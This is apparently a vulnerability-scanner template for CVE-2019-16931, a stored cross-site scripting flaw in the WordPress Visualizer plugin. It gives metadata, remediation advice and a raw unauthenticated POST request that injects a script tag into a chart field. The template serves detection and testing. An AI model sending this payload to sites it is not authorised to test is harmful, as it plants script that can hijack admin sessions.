id: CVE-2019-16931

info:
  name: WordPress Visualizer <3.3.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
    - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
    - https://wpvulndb.com/vulnerabilities/9893
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16931
    - https://wordpress.org/plugins/visualizer/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16931
    cwe-id: CWE-79
    epss-score: 0.03342
    epss-percentile: 0.87086
    cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: themeisle
    product: visualizer
    framework: wordpress
  tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan,themeisle,vuln

http:
  - raw:
      - |
        POST /wp-json/visualizer/v1/update-chart HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"success":"Chart updated"}'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e041787f485a9e57d79a68e27e1299baf516bf04684b939e651904555e61371d02201457a03accc1f57cb537b21e19df71712b3c932cb69d3c92a01a598ed35bf2b3:922c64590222798bb761d5b6d8e72950